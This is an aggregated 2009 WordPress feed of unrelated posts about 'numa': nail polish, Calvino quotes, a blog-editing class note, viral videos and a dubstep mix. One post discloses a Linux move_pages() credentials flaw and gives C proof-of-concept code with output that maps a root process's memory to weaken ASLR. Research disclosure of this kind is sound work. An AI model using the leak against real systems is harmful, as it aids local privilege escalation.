<description><![CDATA[Eu queria, talvez eu ainda queira, mas acho que vou seguir a dica da Carô: comprar um ratinho na fei]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Eu queria, talvez eu ainda queira, mas acho que vou seguir a dica da <a href="http://pfantastic.wordpress.com/2009/09/17/numa-love-foxxx-cartela-de-cores/">Carô</a>: comprar um ratinho na feira e colar com cola quente mesmo, viu. Esperava mais.</p>
<p><img class="aligncenter size-full wp-image-524" title="numa" src="http://rockamorvegetal.wordpress.com/files/2009/09/numa.jpg" alt="numa" width="393" height="285" /></p>
<p>Cartela de cores lá no <a href="http://pfantastic.wordpress.com/2009/09/17/numa-love-foxxx-cartela-de-cores/">Plastic Fantastic</a>.</p>
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<title><![CDATA[Se Numa Noite de Inverno Um Viajante começa assim]]></title>
<link>http://livrosemcriterio.wordpress.com/2009/09/17/se-numa-noite-de-inverno-um-viajante-comeca-assim/</link>
<pubDate>Wed, 16 Sep 2009 23:38:32 +0000</pubDate>
<dc:creator>tiago sousa garcia</dc:creator>
<guid>http://livrosemcriterio.wordpress.com/2009/09/17/se-numa-noite-de-inverno-um-viajante-comeca-assim/</guid>
<description><![CDATA[Estás para começar a ler o novo romance Se Numa Noite de Inverno Um Viajante de Italo Calvino. Acaba]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><blockquote><p>Estás para começar a ler o novo romance <em>Se Numa Noite de Inverno Um Viajante</em> de Italo Calvino.</p></blockquote>
<p>Acaba assim:</p>
<blockquote><p>É só mais um instante. Estou mesmo a acabar <em>Se Numa Noite de Inverno Um Viajante</em> de Italo Calvino.</p></blockquote>
<p>E pelo meio tem <em>shitloads</em> de génio.</p>
<p>CALVINO, Italo<br />
1979 <em>Se una notte d’inverno un viaggiatore</em>; ed. ut.: <em>Se Numa Noite de Inverno Um Viajante</em>, Público, Porto, 2002, 218.</p>
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<title><![CDATA[às vezes fico a pensar que é assim que o gonçalo m. tavares lê os livros que lê]]></title>
<link>http://livrosemcriterio.wordpress.com/2009/09/17/as-vezes-fico-a-pensar-que-e-assim-que-o-goncalo-m-tavares-le-os-livros-que-le/</link>
<pubDate>Wed, 16 Sep 2009 23:29:04 +0000</pubDate>
<dc:creator>tiago sousa garcia</dc:creator>
<guid>http://livrosemcriterio.wordpress.com/2009/09/17/as-vezes-fico-a-pensar-que-e-assim-que-o-goncalo-m-tavares-le-os-livros-que-le/</guid>
<description><![CDATA[Não se admire de me ver sempre a vaguear com os olhos. De facto é esta a minha maneira de ler, e só ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><blockquote><p>Não se admire de me ver sempre a vaguear com os olhos. De facto é esta a minha maneira de ler, e só assim a leitura me é proveitosa. Se um livro me interessar realmente, não consigo segui-lo mais de poucas linhas porque a minha mente, captando um pensamento que o texto lhe propõe, ou um sentimento, ou uma interrogação, ou uma imagem, faz-lhe uma tangente e salta de pensamento em pensamento, de imagem em imagem, num itinerário de raciocínios e fantasias que precisa de percorrer até ao fim, afastando-me da leitura, e de uma leitura suculenta, embora só consiga ler de cada livro poucas páginas. Mas essas poucas páginas para mim já encerram o universo inteiro, de que não consigo ver o fundo.</p></blockquote>
<p>CALVINO, Italo<br />
1979 <em>Se una notte d&#8217;inverno un viaggiatore</em>; ed. ut.: <em>Se Numa Noite de Inverno Um Viajante</em>, Público, Porto, 2002, 218.</p>
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<title><![CDATA[Melissa para brilhar]]></title>
<link>http://minhamelissa.com/2009/09/15/melissa-para-brilhar/</link>
<pubDate>Tue, 15 Sep 2009 13:00:30 +0000</pubDate>
<dc:creator>Thaina</dc:creator>
<guid>http://minhamelissa.com/2009/09/15/melissa-para-brilhar/</guid>
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<title><![CDATA[Melissa vibrante]]></title>
<link>http://minhamelissa.com/2009/09/12/melissa-vibrante/</link>
<pubDate>Sat, 12 Sep 2009 13:00:23 +0000</pubDate>
<dc:creator>Thaina</dc:creator>
<guid>http://minhamelissa.com/2009/09/12/melissa-vibrante/</guid>
<description><![CDATA[&#8230;versão verão 09/10! Eu amo cores flúo, e você?]]></description>
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<div style="text-align:center;"><span style="color:#888888;">&#8230;</span><span style="color:#888888;">versão verão 09/10! Eu amo cores flúo, e você?</span></div>
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<link>http://infousc.wordpress.com/2009/09/03/aprendiendo-a-utilizar-el-blog/</link>
<pubDate>Thu, 03 Sep 2009 15:58:44 +0000</pubDate>
<dc:creator>assilay25</dc:creator>
<guid>http://infousc.wordpress.com/2009/09/03/aprendiendo-a-utilizar-el-blog/</guid>
<description><![CDATA[Clase 3-Sept-2009 por Luz Pinto El objetivo de esta clase fue aprender a editar y a cómo utilizar el]]></description>
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<p>El objetivo de esta clase fue aprender a editar y a cómo utilizar el blog creado en la clase pasada. La clase tiene un blog nombrado “Nuestro Blog Informativo”, el aspecto del mismo será cambiado regularmente, por lo cual debes asegurarte de entrar al correcto. Deberías entrar al blog periódicamente para ver aquellos “post” añadidos por nuestros compañeros y profesora que serán de interés y pertinentes para el curso, además temas que no pudieron ser discutidos en la clase.</p>
<p>Con el surgimiento de la Web 2.0, comienza una nueva forma de organizar, los “tags” o etiquetas. A una palabra se le pueden poner varios “tags”, mientras más veces aparezcan ese tags, mas grande se verá la palabra, esto es llamado “tag cloud”.</p>
<p>Para cada clase, un estudiante tendrán que escribir en el blog de la clase lo discutido en la misma, las reglas para hacerlo son las siguientes:</p>
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<li>Cada vez que escriba en el  blog tiene que anotar su nombre y la fecha en la que la clase fue discutida.</li>
<li>Las notas tomadas en la clase de los martes, debe añadirse al blog entre martes o miércoles; y la de los jueves, entre jueves y viernes. De esta manera, el blog se mantendrá organizado y no habrá equivocación en la cronología de las clases.</li>
<li>Añadir enlaces, videos, imágenes, tutoriales relacionados al tema.</li>
<li>El lenguaje y contenido debe ser apropiado.</li>
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<p>Además debe poner tags, la palabra clave para el tag de las notas de la clase siempre va a ser infousc.</p>
<p><span style="text-decoration:underline;">Editando tu blog</span>…</p>
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<li>Añadiendo tu nombre al blog</li>
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<p>Para personalizar tu blog tienes que ir a las pestañas de arriba, seleccionar “my account”; “edit profile” y verificar si aparece tu nombre, de no aparecer debes añadirlo para que la profesora pueda reconocerte. Recuerda que cada vez que añadas algo nuevo siempre debes guardarlo para que se registre el cambio.</p>
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<li>Cambiar el aspecto de tu blog</li>
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<p>Existen dos formas para cambiarle el aspecto a tu blog. La primera consiste en ir a las pestañas de arriba y seleccionar “my dashboards”, seleccionas tu blog, luego change theme y escoges el tema que te guste; ó vas al lado izquierdo a “appearance”, luego a “themes”.</p>
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<li>Para añadir un “post”, puedes:</li>
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<p>1)    ir a las pestañas de arriba, selecciona my new post y selecciona tu blog</p>
<p>2)    Bajo post en el lado izquierdo y luego add new.</p>
<p>Escribes el tema, luego el contenido, a esto le puedes añadir imágenes y videos, recuerda siempre utilizar tags.</p>
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<li>Imágenes, videos y enlaces</li>
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<p>Para añadir una imagen, seleccionas el icono de imágenes ( <img class="alignnone size-full wp-image-70" title="Icono de imagen" src="http://infousc.wordpress.com/files/2009/09/image.jpg" alt="Icono de imagen" width="16" height="19" />) y la subes desde tu computadora, al igual que los videos. Otra manera de añadir videos es copiando el URL o Embed; para añadirlo por URL seleccionas el icono de video (<img class="alignnone size-full wp-image-71" title="video icon" src="http://infousc.wordpress.com/files/2009/09/video.jpg" alt="video icon" width="21" height="18" /> ) que se encuentra en upload/insert, y seleccionas la pestaña de URL. Para añadirlo mediante Embed sólo necesitas seleccionar la pestaña HTML y lo copias, añades los tags y lo publicas.</p>
<p>Para añadir enlaces a una palabra, seleccionas la misma y el icono en forma de cadena ( <img class="alignnone size-full wp-image-72" title="hiperlink icon" src="http://infousc.wordpress.com/files/2009/09/hiperlink-icon.jpg" alt="hiperlink icon" width="23" height="22" />), añades el URL y finalmente insert. Si no seleccionas la palabra, el icono no podrás seleccionarlo.</p>
<p>Tarea:</p>
<p>Buscar información del <a href="http://www.youtube.com/watch?v=yXe75cqAMNk">Numa, Numa video</a> por Gary Brolsma,</p>
<p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/yXe75cqAMNk&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' /><param name='allowfullscreen' value='true' /><param name='wmode' value='transparent' /><embed src='http://www.youtube.com/v/yXe75cqAMNk&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed></object></span></p>
<p>Aqui encontramos un tutorial para editar el blog <span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/bKj4LKXqa5c&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' /><param name='allowfullscreen' value='true' /><param name='wmode' value='transparent' /><embed src='http://www.youtube.com/v/bKj4LKXqa5c&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed></object></span></p>
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<title><![CDATA[Favourite Viral Videos]]></title>
<link>http://asadraza.wordpress.com/2009/09/01/favourite-viral-videos/</link>
<pubDate>Tue, 01 Sep 2009 00:30:22 +0000</pubDate>
<dc:creator>asadraza</dc:creator>
<guid>http://asadraza.wordpress.com/2009/09/01/favourite-viral-videos/</guid>
<description><![CDATA[Here are some of the most famous viral videos floating about over the net over the years. Enjoy! Bub]]></description>
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<title><![CDATA[NUMA and ASLR]]></title>
<link>http://dividead.wordpress.com/2009/08/28/numa-and-aslr/</link>
<pubDate>Fri, 28 Aug 2009 20:48:39 +0000</pubDate>
<dc:creator>dividead</dc:creator>
<guid>http://dividead.wordpress.com/2009/08/28/numa-and-aslr/</guid>
<description><![CDATA[In the same link as mentioned in my previous post Tinnes hinted at interesting things to be done wit]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>In the same link as mentioned in my previous post Tinnes hinted at interesting things to be done with NUMA having CAP_SYS_NICE through, say, pulseaudio.</p>
<p>I have no idea whether this is the issue he was referring to, but if it was then the issue is actually far more usable than he sketched, as the credentials check is rather wide, and this whole thing is reliably usable in local exploits without having to go through the trouble of getting CAP_SYS_NICE.</p>
<p>When checking out the NUMA code in the Linux kernel I found the following interesting case in the move_pages() systemcall defined in mm/migrate.c and meant to move pages between NUMA nodes, but also query the status of pages.</p>
<pre class="brush: cpp;">
        /*
         * Check if this process has the right to modify the specified
         * process. The right exists if the process has administrative
         * capabilities, superuser privileges or the same
         * userid as the target process.
         */
        rcu_read_lock();
        tcred = __task_cred(task);
        if (cred-&gt;euid != tcred-&gt;suid &amp;&amp; cred-&gt;euid != tcred-&gt;uid &amp;&amp;
            cred-&gt;uid  != tcred-&gt;suid &amp;&amp; cred-&gt;uid  != tcred-&gt;uid &amp;&amp;
            !capable(CAP_SYS_NICE)) {
                rcu_read_unlock();
                err = -EPERM;
                goto out;
        }
        rcu_read_unlock();
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<p>This credentials check certainly looks interesting, and is easy to pass when we have CAP_SYS_NICE, but there is more. First of all note that tcred specifies the credentials of the remote task, and cred the credentials of the current one. This test is then also passed if the remote uid or saved uid is equal to either our current uid of effective uid. This is easy to satisfy for all setuid root executables, as the uid of the remote executable will start out as the uid of the process that calls execve() on it.</p>
<p>So, if we spawn a process, then we can pass the credentials check in move_pages() and query their status.</p>
<p>Lets whip something up which queries pages through move_pages() to verify this.</p>
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/* dividead 2009 */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;errno.h&gt;
#include &lt;syscall.h&gt;

#define MOVE_PAGES_NUM          65536
#define ERROR(x)                ((x) == -EFAULT &amp;#124;&amp;#124; (x) == -ENOENT)

int main(int argc, char **argv)
{
        void *address[MOVE_PAGES_NUM];
        int status[MOVE_PAGES_NUM];
        int start_used = 0;
        unsigned int i, j;
        unsigned char *p;
        void *start;
        pid_t pid;

        if (argc != 2) {
                fprintf(stderr, &quot;error\n&quot;);
                exit(EXIT_FAILURE);
        }

        pid = atoi(argv[1]);

        do {
                int ret;

                for (i = 0; i &lt; MOVE_PAGES_NUM &amp;&amp; p &lt; p + 4096; i++, p += 4096)
                        address[i] = p;

                ret = syscall(__NR_move_pages, pid, i, address, NULL, &amp;status, 0);
                if (ret == -1) {
                        perror(&quot;move_pages()&quot;);
                        exit(EXIT_FAILURE);
                }

                for (j = 0; j &lt; i; j++) {
                        if (ERROR(status[j]) &amp;&amp; start_used) {
                                printf(&quot;%p-%p\n&quot;, start, address[j]);
                                start_used = 0;
                        } else if (!ERROR(status[j]) &amp;&amp; start_used == 0) {
                                start = address[j];
                                start_used = 1;
                        }
                }
        } while (p &gt; p - 4096);
}
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<pre class="brush: bash;">
[dividead ~]$ id
uid=500(dividead) gid=500(dividead) groups=500(dividead)
[dividead ~]$ ps aux &amp;#124; grep &quot;su -&quot; &amp;#124; grep -v grep
root     19908  0.0  0.0 130992  1248 pts/3    S+   22:32   0:00 su -
[dividead ~]$ cat /proc/19908/status &amp;#124; grep Uid
Uid:    500     0       0       0
[dividead ~]$ ./numa 19908
0x400860-0x405860
0x407860-0x409860
0x609860-0x60a860
0xdf4860-0xe04860
0x3d71200860-0x3d7121b860
0x3d7121c860-0x3d7121d860
0x3d7141e860-0x3d71420860
...
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<p>As I&#8217;m running on x86-64 this will still take forever, but given some additional information, such as knowing the three most significant bytes of the address ranges are not mangled by ASLR anyway we can determine where things are mapped pretty decently.</p>
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<title><![CDATA[Numa Numa Song: Misheard Lyrics]]></title>
<link>http://hurkunde.wordpress.com/2009/08/23/numa-numa-song-misheard-lyrics/</link>
<pubDate>Sun, 23 Aug 2009 10:08:34 +0000</pubDate>
<dc:creator>hurkunde</dc:creator>
<guid>http://hurkunde.wordpress.com/2009/08/23/numa-numa-song-misheard-lyrics/</guid>
<description><![CDATA[hahahahahahaha!!!!! Coooool!]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/KfEE_nYehZ8&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' /><param name='allowfullscreen' value='true' /><param name='wmode' value='transparent' /><embed src='http://www.youtube.com/v/KfEE_nYehZ8&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed></object></span></p>
<p>hahahahahahaha!!!!! Coooool!</p>
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<title><![CDATA[Most Recent Dubstep Mix ]]></title>
<link>http://djcrises.wordpress.com/2009/08/13/most-recent-dubstep-mix-ugs-vol2/</link>
<pubDate>Thu, 13 Aug 2009 01:55:21 +0000</pubDate>
<dc:creator>Crises</dc:creator>
<guid>http://djcrises.wordpress.com/2009/08/13/most-recent-dubstep-mix-ugs-vol2/</guid>
<description><![CDATA[To Download Undaground Step vol2 Mixed by Crises - Click Pic UNDAGROUND STEP vol2 TrackList:- 1. Nex]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><div id="attachment_62" class="wp-caption alignnone" style="width: 509px"><a rel="nofollow" href="http://www.sendspace.com/file/g1x1uq" target="_blank"><img src="http://djcrises.wordpress.com/files/2009/08/crisesrfactory-fx-cropped1.jpg" alt="To Download Undaground Step vol2 Mixed by Crises - Click Pic" title="Undagroundstep vol2" width="499" height="310" class="size-full wp-image-62" /></a><p class="wp-caption-text">To Download Undaground Step vol2 Mixed by Crises - Click Pic</p></div><br />
UNDAGROUND STEP vol2<br />
TrackList:-</p>
<p>1. Next Hype &#8211; Brackles (Vocal Mix)<br />
2. Sip and Test &#8211; Kudos<br />
3. Whats Going Down &#8211; Fused Forces<br />
4. Green Dust &#8211; Pressa<br />
5. Lost Spy &#8211; Killa &#38; Instinct<br />
6. Wiredness &#8211; Pempi<br />
7. Furious Game &#8211; Mahanee<br />
8. Jah Rain &#8211; RSD (Remix)<br />
9. The Hardcore Project- HOD<br />
10. Bass2Dark &#8211; Sterling Dubs<br />
11. Outrip &#8211; Lapo<br />
12. Active 8 &#8211; Hertz<br />
13. These Times &#8211; Synkro<br />
14. Police &#8211; Lapo<br />
15. Ghetto Yute &#8211; Ed West<br />
16. 8 Bit Spliff &#8211; OutRun<br />
17. M U G E N &#8211; Luke Envoy<br />
18. Pee Wee &#8211; Mahanee<br />
19. Machine Drums RIP &#8211; NUMA Crew</p>
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